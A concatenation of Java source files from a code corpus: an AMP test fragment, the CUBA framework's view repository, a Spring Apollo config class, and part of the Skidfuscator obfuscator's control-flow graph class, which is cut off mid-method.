assertEquals(AmpUtil.AMP_MODE.AMP_ONLY, AmpUtil.getAmpMode(context.request()));
}
}
| 649 |
1,337 | /*
* Copyright (c) 2008-2016 Haulmont.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package com.haulmont.cuba.core.sys;
import com.haulmont.bali.util.Dom4j;
import com.haulmont.bali.util.Preconditions;
import com.haulmont.chile.core.model.MetaClass;
import com.haulmont.chile.core.model.MetaProperty;
import com.haulmont.cuba.core.entity.Entity;
import com.haulmont.cuba.core.global.*;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.text.StringTokenizer;
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.DocumentHelper;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.perf4j.StopWatch;
import org.perf4j.slf4j.Slf4JStopWatch;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.Nullable;
import javax.inject.Inject;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.locks.ReadWriteLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;
/**
* Base implementation of the {@link ViewRepository}. Contains methods to store {@link View} objects and deploy
* them from XML. <br>
* <br> Don't replace this class completely, because the framework uses it directly.
*/
public class AbstractViewRepository implements ViewRepository {
private final Logger log = LoggerFactory.getLogger(AbstractViewRepository.class);
protected List<String> readFileNames = new LinkedList<>();
protected Map<MetaClass, Map<String, View>> storage = new ConcurrentHashMap<>();
@Inject
protected Metadata metadata;
@Inject
protected Resources resources;
@Inject
protected ViewLoader viewLoader;
protected volatile boolean initialized;
protected ReadWriteLock lock = new ReentrantReadWriteLock();
protected void checkInitialized() {
if (!initialized) {
lock.readLock().unlock();
lock.writeLock().lock();
try {
if (!initialized) {
log.info("Initializing views");
init();
initialized = true;
}
} finally {
lock.readLock().lock();
lock.writeLock().unlock();
}
}
}
protected void init() {
StopWatch initTiming = new Slf4JStopWatch("ViewRepository.init." + getClass().getSimpleName());
storage.clear();
readFileNames.clear();
String configName = AppContext.getProperty("cuba.viewsConfig");
if (!StringUtils.isBlank(configName)) {
Element rootElem = DocumentHelper.createDocument().addElement("views");
StringTokenizer tokenizer = new StringTokenizer(configName);
for (String fileName : tokenizer.getTokenArray()) {
addFile(rootElem, fileName);
}
viewLoader.checkDuplicates(rootElem);
for (Element viewElem : Dom4j.elements(rootElem, "view")) {
deployView(rootElem, viewElem, new HashSet<>());
}
}
initTiming.stop();
}
protected void addFile(Element commonRootElem, String fileName) {
if (readFileNames.contains(fileName))
return;
log.debug("Deploying views config: " + fileName);
readFileNames.add(fileName);
InputStream stream = null;
try {
stream = resources.getResourceAsStream(fileName);
if (stream == null) {
throw new IllegalStateException("Resource is not found: " + fileName);
}
SAXReader reader = new SAXReader();
Document doc;
try {
doc = reader.read(new InputStreamReader(stream, StandardCharsets.UTF_8));
} catch (DocumentException e) {
throw new RuntimeException("Unable to parse view file " + fileName, e);
}
Element rootElem = doc.getRootElement();
for (Element includeElem : Dom4j.elements(rootElem, "include")) {
String incFile = includeElem.attributeValue("file");
if (!StringUtils.isBlank(incFile))
addFile(commonRootElem, incFile);
}
for (Element viewElem : Dom4j.elements(rootElem, "view")) {
commonRootElem.add(viewElem.createCopy());
}
} finally {
IOUtils.closeQuietly(stream);
}
}
public void reset() {
initialized = false;
}
/**
* Get View for an entity.
*
* @param entityClass entity class
* @param name view name
* @return view instance. Throws {@link com.haulmont.cuba.core.global.ViewNotFoundException} if not found.
*/
@Override
public View getView(Class<? extends Entity> entityClass, String name) {
return getView(metadata.getClassNN(entityClass), name);
}
/**
* Get View for an entity.
*
* @param metaClass entity class
* @param name view name
* @return view instance. Throws {@link com.haulmont.cuba.core.global.ViewNotFoundException} if not found.
*/
@Override
public View getView(MetaClass metaClass, String name) {
Preconditions.checkNotNullArgument(metaClass, "MetaClass is null");
View view = findView(metaClass, name);
if (view == null) {
throw new ViewNotFoundException(String.format("View %s/%s not found", metaClass.getName(), name));
}
return view;
}
/**
* Searches for a View for an entity
*
* @param metaClass entity class
* @param name view name
* @return view instance or null if no view found
*/
@Override
@Nullable
public View findView(MetaClass metaClass, @Nullable String name) {
if (metaClass == null) {
throw new IllegalArgumentException("Passed metaClass should not be null");
}
if (name == null) {
return null;
}
lock.readLock().lock();
try {
checkInitialized();
View view = retrieveView(metaClass, name, new HashSet<>());
return copyView(view);
} finally {
lock.readLock().unlock();
}
}
protected View copyView(@Nullable View view) {
if (view == null) {
return null;
}
View.ViewParams viewParams = new View.ViewParams()
.entityClass(view.getEntityClass())
.name(view.getName());
View copy = new View(viewParams);
for (ViewProperty property : view.getProperties()) {
copy.addProperty(property.getName(), copyView(property.getView()), property.getFetchMode());
}
return copy;
}
@Override
public Collection<String> getViewNames(MetaClass metaClass) {
Preconditions.checkNotNullArgument(metaClass, "MetaClass is null");
lock.readLock().lock();
try {
checkInitialized();
Map<String, View> viewMap = storage.get(metaClass);
if (viewMap != null && !viewMap.isEmpty()) {
Set<String> keySet = new HashSet<>(viewMap.keySet());
keySet.remove(View.LOCAL);
keySet.remove(View.MINIMAL);
keySet.remove(View.BASE);
return keySet;
} else {
return Collections.emptyList();
}
} finally {
lock.readLock().unlock();
}
}
@Override
public Collection<String> getViewNames(Class<? extends Entity> entityClass) {
Preconditions.checkNotNullArgument(entityClass, "entityClass is null");
MetaClass metaClass = metadata.getClassNN(entityClass);
return getViewNames(metaClass);
}
protected View deployDefaultView(MetaClass metaClass, String name, Set<ViewLoader.ViewInfo> visited) {
Class<? extends Entity> javaClass = metaClass.getJavaClass();
ViewLoader.ViewInfo info = new ViewLoader.ViewInfo(metaClass, name);
if (visited.contains(info)) {
throw new DevelopmentException(String.format("Views cannot have cyclic references. View %s for class %s",
name, metaClass.getName()));
}
View view;
if (View.LOCAL.equals(name)) {
view = new View(javaClass, name, false);
addAttributesToLocalView(metaClass, view);
} else if (View.MINIMAL.equals(name)) {
view = new View(javaClass, name, false);
addAttributesToMinimalView(metaClass, view, info, visited);
} else if (View.BASE.equals(name)) {
view = new View(javaClass, name, false);
addAttributesToMinimalView(metaClass, view, info, visited);
addAttributesToLocalView(metaClass, view);
} else {
throw new UnsupportedOperationException("Unsupported default view: " + name);
}
storeView(metaClass, view);
return view;
}
protected void addAttributesToLocalView(MetaClass metaClass, View view) {
for (MetaProperty property : metaClass.getProperties()) {
if (!property.getRange().isClass()
&& !metadata.getTools().isSystem(property)
&& metadata.getTools().isPersistent(property)) {
view.addProperty(property.getName());
}
}
}
protected void addAttributesToMinimalView(MetaClass metaClass, View view, ViewLoader.ViewInfo info, Set<ViewLoader.ViewInfo> visited) {
Collection<MetaProperty> metaProperties = metadata.getTools().getNamePatternProperties(metaClass, true);
for (MetaProperty metaProperty : metaProperties) {
if (metadata.getTools().isPersistent(metaProperty)) {
addPersistentAttributeToMinimalView(metaClass, visited, info, view, metaProperty);
} else {
List<String> relatedProperties = metadata.getTools().getRelatedProperties(metaProperty);
for (String relatedPropertyName : relatedProperties) {
MetaProperty relatedProperty = metaClass.getPropertyNN(relatedPropertyName);
if (metadata.getTools().isPersistent(relatedProperty)) {
addPersistentAttributeToMinimalView(metaClass, visited, info, view, relatedProperty);
} else {
log.warn(
"Transient attribute '{}' is listed in 'related' properties of another transient attribute '{}'",
relatedPropertyName, metaProperty.getName());
}
}
}
}
}
protected void addPersistentAttributeToMinimalView(MetaClass metaClass, Set<ViewLoader.ViewInfo> visited, ViewLoader.ViewInfo info, View view, MetaProperty metaProperty) {
if (metaProperty.getRange().isClass()) {
Map<String, View> views = storage.get(metaProperty.getRange().asClass());
View refMinimalView = (views == null ? null : views.get(View.MINIMAL));
if (refMinimalView != null) {
view.addProperty(metaProperty.getName(), refMinimalView);
} else {
visited.add(info);
View referenceMinimalView = deployDefaultView(metaProperty.getRange().asClass(), View.MINIMAL, visited);
visited.remove(info);
view.addProperty(metaProperty.getName(), referenceMinimalView);
}
} else {
view.addProperty(metaProperty.getName());
}
}
public void deployViews(String resourceUrl) {
lock.readLock().lock();
try {
checkInitialized();
} finally {
lock.readLock().unlock();
}
Element rootElem = DocumentHelper.createDocument().addElement("views");
lock.writeLock().lock();
try {
addFile(rootElem, resourceUrl);
for (Element viewElem : Dom4j.elements(rootElem, "view")) {
deployView(rootElem, viewElem, new HashSet<>());
}
} finally {
lock.writeLock().unlock();
}
}
public void deployViews(InputStream xml) {
deployViews(new InputStreamReader(xml, StandardCharsets.UTF_8));
}
public void deployViews(Reader xml) {
lock.readLock().lock();
try {
checkInitialized();
} finally {
lock.readLock().unlock();
}
SAXReader reader = new SAXReader();
Document doc;
try {
doc = reader.read(xml);
} catch (DocumentException e) {
throw new RuntimeException("Unable to read views xml", e);
}
Element rootElem = doc.getRootElement();
for (Element includeElem : Dom4j.elements(rootElem, "include")) {
String file = includeElem.attributeValue("file");
if (!StringUtils.isBlank(file))
deployViews(file);
}
for (Element viewElem : Dom4j.elements(rootElem, "view")) {
deployView(rootElem, viewElem);
}
}
protected View retrieveView(MetaClass metaClass, String name, Set<ViewLoader.ViewInfo> visited) {
Map<String, View> views = storage.get(metaClass);
View view = (views == null ? null : views.get(name));
if (view == null && (name.equals(View.LOCAL) || name.equals(View.MINIMAL) || name.equals(View.BASE))) {
view = deployDefaultView(metaClass, name, visited);
}
return view;
}
public View deployView(Element rootElem, Element viewElem) {
lock.writeLock().lock();
try {
return deployView(rootElem, viewElem, new HashSet<>());
} finally {
lock.writeLock().unlock();
}
}
protected View deployView(Element rootElem, Element viewElem, Set<ViewLoader.ViewInfo> visited) {
ViewLoader.ViewInfo viewInfo = viewLoader.getViewInfo(viewElem);
MetaClass metaClass = viewInfo.getMetaClass();
String viewName = viewInfo.getName();
if (StringUtils.isBlank(viewName)) {
throw new DevelopmentException("Invalid view definition: no 'name' attribute present");
}
if (visited.contains(viewInfo)) {
throw new DevelopmentException(String.format("Views cannot have cyclic references. View %s for class %s",
viewName, metaClass.getName()));
}
View defaultView = retrieveView(metaClass, viewName, visited);
if (defaultView != null && !viewInfo.isOverwrite()) {
return defaultView;
}
View.ViewParams viewParams = viewLoader.getViewParams(
viewInfo,
ancestorViewName -> getAncestorView(metaClass, ancestorViewName, visited)
);
View view = new View(viewParams);
visited.add(viewInfo);
viewLoader.loadViewProperties(viewElem, view, viewInfo.isSystemProperties(), (MetaClass refMetaClass, String refViewName) -> {
if (refViewName == null) {
return null;
}
View refView = retrieveView(refMetaClass, refViewName, visited);
if (refView == null) {
for (Element e : Dom4j.elements(rootElem, "view")) {
if (refMetaClass.equals(viewLoader.getMetaClass(e.attributeValue("entity"), e.attributeValue("class")))
&& refViewName.equals(e.attributeValue("name"))) {
refView = deployView(rootElem, e, visited);
break;
}
}
if (refView == null) {
MetaClass originalMetaClass = metadata.getExtendedEntities().getOriginalMetaClass(refMetaClass);
if (originalMetaClass != null) {
refView = retrieveView(originalMetaClass, refViewName, visited);
}
}
if (refView == null) {
throw new DevelopmentException(
String.format("View %s/%s definition error: unable to find/deploy referenced view %s/%s",
metaClass.getName(), viewName, refMetaClass, refViewName));
}
}
return refView;
});
visited.remove(viewInfo);
storeView(metaClass, view);
if (viewInfo.isOverwrite()) {
replaceOverridden(view);
}
return view;
}
protected void replaceOverridden(View replacementView) {
StopWatch replaceTiming = new Slf4JStopWatch("ViewRepository.replaceOverridden");
HashSet<View> checked = new HashSet<>();
for (View view : getAllInitialized()) {
if (!checked.contains(view)) {
replaceOverridden(view, replacementView, checked);
}
}
replaceTiming.stop();
}
protected void replaceOverridden(View root, View replacementView, HashSet<View> checked) {
checked.add(root);
List<ViewProperty> replacements = null;
for (ViewProperty property : root.getProperties()) {
View propertyView = property.getView();
if (propertyView != null) {
if (Objects.equals(propertyView.getName(), replacementView.getName())
&& replacementView.getEntityClass() == propertyView.getEntityClass()) {
if (replacements == null) {
replacements = new LinkedList<>();
}
replacements.add(new ViewProperty(property.getName(), replacementView, property.getFetchMode()));
} else if (propertyView.getEntityClass() != null && !checked.contains(propertyView)) {
replaceOverridden(propertyView, replacementView, checked);
}
}
}
if (replacements != null) {
for (ViewProperty replacement : replacements) {
root.addProperty(replacement.getName(), replacement.getView(), replacement.getFetchMode());
}
}
}
protected View getAncestorView(MetaClass metaClass, String ancestor, Set<ViewLoader.ViewInfo> visited) {
View ancestorView = retrieveView(metaClass, ancestor, visited);
if (ancestorView == null) {
ExtendedEntities extendedEntities = metadata.getExtendedEntities();
MetaClass originalMetaClass = extendedEntities.getOriginalMetaClass(metaClass);
if (originalMetaClass != null) {
ancestorView = retrieveView(originalMetaClass, ancestor, visited);
}
if (ancestorView == null) {
// Last resort - search for all ancestors
for (MetaClass ancestorMetaClass : metaClass.getAncestors()) {
if (ancestorMetaClass.equals(metaClass)) {
ancestorView = retrieveView(ancestorMetaClass, ancestor, visited);
if (ancestorView != null)
break;
}
}
}
if (ancestorView == null) {
throw new DevelopmentException("No ancestor view found: " + ancestor + " for " + metaClass.getName());
}
}
return ancestorView;
}
protected void storeView(MetaClass metaClass, View view) {
Map<String, View> views = storage.get(metaClass);
if (views == null) {
views = new ConcurrentHashMap<>();
}
views.put(view.getName(), view);
storage.put(metaClass, views);
}
protected List<View> getAllInitialized() {
List<View> list = new ArrayList<>();
for (Map<String, View> viewMap : storage.values()) {
list.addAll(viewMap.values());
}
return list;
}
public List<View> getAll() {
lock.readLock().lock();
try {
checkInitialized();
List<View> list = new ArrayList<>();
for (Map<String, View> viewMap : storage.values()) {
list.addAll(viewMap.values());
}
return list;
} finally {
lock.readLock().unlock();
}
}
}
| 9,202 |
1,932 | package cn.springcloud.book.config.config;
import com.ctrip.framework.apollo.spring.annotation.EnableApolloConfig;
import org.springframework.context.annotation.Configuration;
/**
* @author zunfa.zhong
* @date 2018-7-15 19:44:44
*/
@Configuration
@EnableApolloConfig(value = "application", order = 10)
public class AppConfig {
}
| 107 |
3,857 | <filename>dev.skidfuscator.obfuscator/src/main/java/dev/skidfuscator/obf/skidasm/SkidGraph.java
package dev.skidfuscator.obf.skidasm;
import dev.skidfuscator.obf.attribute.Attributable;
import dev.skidfuscator.obf.attribute.Attribute;
import dev.skidfuscator.obf.attribute.AttributeKey;
import dev.skidfuscator.obf.attribute.AttributeMap;
import dev.skidfuscator.obf.maple.FakeBlock;
import dev.skidfuscator.obf.maple.FakeConditionalJumpEdge;
import dev.skidfuscator.obf.maple.FakeConditionalJumpStmt;
import dev.skidfuscator.obf.maple.FakeUnconditionalJumpStmt;
import dev.skidfuscator.obf.number.NumberManager;
import dev.skidfuscator.obf.number.encrypt.impl.XorNumberTransformer;
import dev.skidfuscator.obf.number.hash.HashTransformer;
import dev.skidfuscator.obf.number.hash.SkiddedHash;
import dev.skidfuscator.obf.number.hash.impl.BitwiseHashTransformer;
import dev.skidfuscator.obf.utils.Blocks;
import dev.skidfuscator.obf.utils.RandomUtil;
import lombok.Getter;
import lombok.Setter;
import org.mapleir.asm.MethodNode;
import org.mapleir.flowgraph.ExceptionRange;
import org.mapleir.flowgraph.edges.*;
import org.mapleir.ir.cfg.BasicBlock;
import org.mapleir.ir.cfg.ControlFlowGraph;
import org.mapleir.ir.code.Expr;
import org.mapleir.ir.code.expr.ConstantExpr;
import org.mapleir.ir.code.expr.VarExpr;
import org.mapleir.ir.code.stmt.ConditionalJumpStmt;
import org.mapleir.ir.code.stmt.SwitchStmt;
import org.mapleir.ir.code.stmt.UnconditionalJumpStmt;
import org.mapleir.ir.code.stmt.copy.CopyVarStmt;
import org.mapleir.ir.locals.Local;
import org.objectweb.asm.Type;
import java.util.*;
import java.util.stream.Collectors;
public class SkidGraph implements Attributable {
@Getter
private final MethodNode node;
private final SkidMethod method;
@Setter
@Getter
private Local local;
private final Map<BasicBlock, SkidBlock> cache = new HashMap<>();
private final AttributeMap attributeMap = new AttributeMap();
public static final boolean DEBUG = false;
public SkidGraph(MethodNode node, SkidMethod method) {
this.node = node;
this.method = method;
}
public void render(final ControlFlowGraph cfg) {
if (cfg == null || cfg.vertices().size() == 0)
return;
// Phase 1: populate
populate(cfg);
final Local local = cfg.getLocals().get(cfg.getLocals().getMaxLocals() + 2);
setLocal(local);
}
private void populate(final ControlFlowGraph cfg) {
for (BasicBlock entry : cfg.getEntries()) {
cache.put(entry, new SkidBlock(RandomUtil.nextInt(), entry));
}
}
public void postlinearize(final ControlFlowGraph cfg) {
if (cfg == null || cfg.vertices().size() == 0 || local == null)
return;
final Set<BasicBlock> toVisit = cfg.vertices()
.stream()
.filter(e -> cfg.getIncomingImmediate(e) == null)
.collect(Collectors.toSet());
// Phase 2
linearize(cfg);
linkage(cfg, local);
/*BasicBlock next = cfg.verticesInOrder().iterator().next();
while (true) {
final BasicBlock immediate = cfg.getImmediate(next);
if (immediate == null)
break;
final LinearLink linearLink = new LinearLink(next, immediate);
if (linearLinks.contains(linearLink))
continue;
linearLinks.add(linearLink);
// Add immediate seed translation
addSeedToImmediate(local, next, immediate);
next = immediate;
}*/
for (BasicBlock vertex : new HashSet<>(cfg.vertices())) {
if (vertex instanceof FakeBlock)
continue;
cfg.getEdges(vertex).stream()
.filter(e -> e instanceof ImmediateEdge)
.forEach(e -> {
addSeedToImmediate(local, e.src(), e.dst());
});
}
/*for (BasicBlock block : toVisit) {
final Stack<BasicBlock> blocks = new Stack<>();
blocks.add(block);
while (!blocks.isEmpty()) {
final BasicBlock stack = blocks.pop();
if (stack == null || cfg.getEdges(stack).size() == 0)
continue;
final BasicBlock immediate = cfg.getImmediate(stack);
if (immediate == null)
continue;
final LinearLink linearLink = new LinearLink(stack, immediate);
if (linearLinks.contains(linearLink))
continue;
linearLinks.add(linearLink);
blocks.add(immediate);
// Add immediate seed translation
addSeedToImmediate(local, stack, immediate);
}
}*/
if (DEBUG) {
for (BasicBlock block : cfg.vertices()) {
final SkidBlock targetSeededBlock = getBlock(block);
final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(0, new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-var - begin : " + targetSeededBlock.getSeed())));
final Local local2 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(block.size() - 1, new CopyVarStmt(new VarExpr(local2, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-var - end : " + targetSeededBlock.getSeed())));
}
}
}
private void linearize(final ControlFlowGraph cfg) {
final BasicBlock entry = cfg.getEntries().iterator().next();
final SkidBlock seedEntry = getBlock(entry);
final Expr loadedChanged = /*new ConstantExpr(seedEntry.getSeed(), Type.INT_TYPE); */
new XorNumberTransformer().getNumber(
seedEntry.getSeed(),
method.getSeed().getPrivate(),
method.getSeed().getLocal()
);
final CopyVarStmt copyVarStmt = new CopyVarStmt(new VarExpr(local, Type.INT_TYPE), loadedChanged);
entry.add(0, copyVarStmt);
}
private void linkage(final ControlFlowGraph cfg, final Local local) {
for (BasicBlock vertex : new HashSet<>(cfg.vertices())) {
new HashSet<>(vertex).stream().filter(e -> e instanceof SwitchStmt).forEach(e -> {
addSeedToSwitch(local, vertex, (SwitchStmt) e);
});
}
range(cfg, local);
for (BasicBlock entry : new HashSet<>(cfg.vertices())) {
new HashSet<>(entry).forEach(e -> {
if (e instanceof UnconditionalJumpStmt && !(e instanceof FakeUnconditionalJumpStmt)) {
addSeedToUncJump(local, entry, (UnconditionalJumpStmt) e);
}
});
}
for (BasicBlock entry : new HashSet<>(cfg.vertices())) {
new HashSet<>(entry).forEach(e -> {
if (e instanceof ConditionalJumpStmt && !(e instanceof FakeConditionalJumpStmt)) {
addSeedToCondJump(local, entry, (ConditionalJumpStmt) e);
}
});
}
}
private void range(final ControlFlowGraph cfg, final Local local) {
for (ExceptionRange<BasicBlock> range : cfg.getRanges()) {
addSeedToRange(local, cfg, range);
}
}
private void reset() {
cache.clear();
}
private static class LinearLink {
private final BasicBlock in;
private final BasicBlock out;
public LinearLink(BasicBlock in, BasicBlock out) {
this.in = in;
this.out = out;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
LinearLink that = (LinearLink) o;
if (in != null ? !in.equals(that.in) : that.in != null) return false;
return out != null ? out.equals(that.out) : that.out == null;
}
@Override
public int hashCode() {
int result = in != null ? in.hashCode() : 0;
result = 31 * result + (out != null ? out.hashCode() : 0);
return result;
}
}
public SkidBlock getBlock(final BasicBlock block) {
SkidBlock seededBlock = cache.get(block);
if (seededBlock == null) {
seededBlock = new SkidBlock(RandomUtil.nextInt(), block);
cache.put(block, seededBlock);
}
return seededBlock;
}
private void addSeedToImmediate(final Local local, final BasicBlock block, final BasicBlock immediate) {
final SkidBlock seededBlock = getBlock(block);
final SkidBlock targetSeededBlock = getBlock(immediate);
seededBlock.addSeedLoader(-1, local, seededBlock.getSeed(), targetSeededBlock.getSeed());
if (DEBUG) {
final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(block.size(), new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-loc - immediate : " + targetSeededBlock.getSeed())));
}
// Ignore, this is for debugging
/*
final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : Ivar: " + seededBlock.getSeed())));
immediate.add(new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(immediate.getDisplayName() +" : Ivar 2: " + targetSeededBlock.getSeed())));
*/
}
private void addSeedToUncJump(final Local local, final BasicBlock block, final UnconditionalJumpStmt stmt) {
final int index = block.indexOf(stmt);
final SkidBlock seededBlock = getBlock(block);
final SkidBlock targetSeededBlock = getBlock(stmt.getTarget());
seededBlock.addSeedLoader(index, local, seededBlock.getSeed(), targetSeededBlock.getSeed());
if (DEBUG) {
final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(index, new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-loc - uncond : " + targetSeededBlock.getSeed())));
}
/*
final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : unc-var: " + targetSeededBlock.getSeed())));
*/
}
private void addSeedToCondJump(final Local local, final BasicBlock block, final ConditionalJumpStmt stmt) {
// Todo Add support for various different types of conditional jumps
// support such as block splitting and shit to mess with reversers
if (false) {
final SkidBlock seededBlock = getBlock(block);
final SkidBlock targetSeededBlock = getBlock(stmt.getTrueSuccessor());
if (block.indexOf(stmt) < 0) {
System.out.println("ISSUEEEEEE");
}
//final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
seededBlock.addSeedLoader(block.indexOf(stmt), local, seededBlock.getSeed(), targetSeededBlock.getSeed());
seededBlock.addSeedLoader(block.indexOf(stmt) + 1, local, targetSeededBlock.getSeed(), seededBlock.getSeed());
/*final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(block.indexOf(stmt) + 1, new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-loc - cond : " + targetSeededBlock.getSeed())));
*/
/*block.add(block.indexOf(stmt), new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-var: " + targetSeededBlock.getSeed())));
block.add(block.indexOf(stmt) + 1, new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-var: " + seededBlock.getSeed())));*/
return;
}
final ConditionalJumpEdge<BasicBlock> edge = block.cfg.getEdges(block).stream()
.filter(e -> e instanceof ConditionalJumpEdge && !(e instanceof FakeConditionalJumpEdge))
.map(e -> (ConditionalJumpEdge<BasicBlock>) e)
.filter(e -> e.dst().equals(stmt.getTrueSuccessor()))
.findFirst()
.orElse(null);
block.cfg.removeEdge(edge);
final SkidBlock seededBlock = getBlock(block);
final BasicBlock target = stmt.getTrueSuccessor();
final SkidBlock targetSeeded = getBlock(target);
// Add jump and seed
final BasicBlock basicBlock = new BasicBlock(block.cfg);
final SkidBlock intraSeededBlock = getBlock(basicBlock);
intraSeededBlock.addSeedLoader(0, local, seededBlock.getSeed(), targetSeeded.getSeed());
basicBlock.add(new UnconditionalJumpStmt(target));
// Add edge
basicBlock.cfg.addVertex(basicBlock);
basicBlock.cfg.addEdge(new UnconditionalJumpEdge<>(basicBlock, target));
// Replace successor
stmt.setTrueSuccessor(basicBlock);
block.cfg.addEdge(new ConditionalJumpEdge<>(block, basicBlock, stmt.getOpcode()));
if (DEBUG) {
final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
block.add(block.indexOf(stmt), new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-loc - cond : " + targetSeeded.getSeed())));
}
//seededBlock.addSeedLoader(index + 2, local, targetSeededBlock.getSeed(), seededBlock.getSeed());
}
private void addSeedToSwitch(final Local local, final BasicBlock block, final SwitchStmt stmt) {
final SkidBlock seededBlock = getBlock(block);
for (BasicBlock value : stmt.getTargets().values()) {
final SkidBlock target = getBlock(value);
target.addSeedLoader(0, local, seededBlock.getSeed(), target.getSeed());
/*final Local local1 = block.cfg.getLocals().get(block.cfg.getLocals().getMaxLocals() + 2);
value.add(0, new CopyVarStmt(new VarExpr(local1, Type.getType(String.class)),
new ConstantExpr(block.getDisplayName() +" : c-loc - switch : " + target.getSeed())));
*/
}
if (stmt.getDefaultTarget() == null || stmt.getDefaultTarget() == block)
return;
final SkidBlock dflt = getBlock(stmt.getDefaultTarget());
dflt.addSeedLoader(0, local, seededBlock.getSeed(), dflt.getSeed());
}
private void addSeedToRange(final Local local, final ControlFlowGraph cfg, final ExceptionRange<BasicBlock> blockRange) {
LinkedHashMap<Integer, BasicBlock> basicBlockMap = new LinkedHashMap<>();
List<Integer> sortedList = new ArrayList<>();
// Save current handler
final BasicBlock basicHandler = blockRange.getHandler();
final SkidBlock handler = getBlock(blockRange.getHandler());
// Create new block handle
final BasicBlock toppleHandler = new BasicBlock(cfg);
cfg.addVertex(toppleHandler);
blockRange.setHandler(toppleHandler);
// Hasher
final HashTransformer hashTransformer = new BitwiseHashTransformer();
// For all block being read
for (BasicBlock node : blockRange.getNodes()) {
// Get their internal seed and add it to the list
final SkidBlock internal = getBlock(node);
// Create a new switch block and get it's seeded variant
final BasicBlock block = new FakeBlock(cfg);
cfg.addVertex(block);
final SkidBlock seededBlock = getBlock(block);
// Add a seed loader for the incoming block and convert it to the handler's
seededBlock.addSeedLoader(0, local, internal.getSeed(), handler.getSeed());
// Jump to handler
block.add(new FakeUnconditionalJumpStmt(basicHandler));
cfg.addEdge(new UnconditionalJumpEdge<>(block, basicHandler));
// Final hashed
final int hashed = hashTransformer.hash(internal.getSeed(), local).getHash();
// Add to switch
basicBlockMap.put(hashed, block);
cfg.addEdge(new SwitchEdge<>(toppleHandler, block, hashed));
sortedList.add(hashed);
// Find egde and transform
cfg.getEdges(node)
.stream()
.filter(e -> e instanceof TryCatchEdge)
.map(e -> (TryCatchEdge<BasicBlock>) e)
.filter(e -> e.erange == blockRange)
.findFirst()
.ifPresent(cfg::removeEdge);
// Add new edge
cfg.addEdge(new TryCatchEdge<>(node, blockRange));
}
// Haha get fucked
// Todo Fix the other shit to re-enable this; this is for the lil shits
// (love y'all tho) that are gonna try reversing this
/*for (int i = 0; i < 10; i++) {
// Generate random seed + prevent conflict
final int seed = RandomUtil.nextInt();
if (sortedList.contains(seed))
continue;
// Add seed to list
sortedList.add(seed);
// Create new switch block
final BasicBlock block = new BasicBlock(cfg);
cfg.addVertex(block);
// Get seeded version and add seed loader
final SkidBlock seededBlock = getBlock(block);
seededBlock.addSeedLoader(-1, local, seed, RandomUtil.nextInt());
block.add(new UnconditionalJumpStmt(basicHandler));
cfg.addEdge(new UnconditionalJumpEdge<>(block, basicHandler));
basicBlockMap.put(seed, block);
cfg.addEdge(new SwitchEdge<>(handler.getBlock(), block, seed));
}*/
// Hash
final Expr hash = hashTransformer.hash(local);
// Default switch edge
final BasicBlock defaultBlock = Blocks.exception(cfg, "Error in hash");
cfg.addEdge(new DefaultSwitchEdge<>(toppleHandler, defaultBlock));
// Add switch
// Todo Add hashing to prevent dumb bs reversing
final SwitchStmt stmt = new SwitchStmt(hash, basicBlockMap, defaultBlock);
toppleHandler.add(stmt);
// Add unconditional jump edge
cfg.addEdge(new UnconditionalJumpEdge<>(toppleHandler, basicHandler));
}
public void cache(final BasicBlock basicBlock) {
cache.put(basicBlock, new SkidBlock(RandomUtil.nextInt(), basicBlock));
}
public boolean isInit() {
return node.node.name.equals("<init>");
}
@Override
public <T> Attribute<T> getAttribute(AttributeKey attributeKey) {
return (Attribute<T>) attributeMap.get(attributeKey);
}
@Override
public <T> void addAttribute(AttributeKey key, Attribute<T> attribute) {
attributeMap.put(key, (Attribute<Object>) attribute);
}
@Override
public <T> void removeAttribute(AttributeKey attributeKey) {
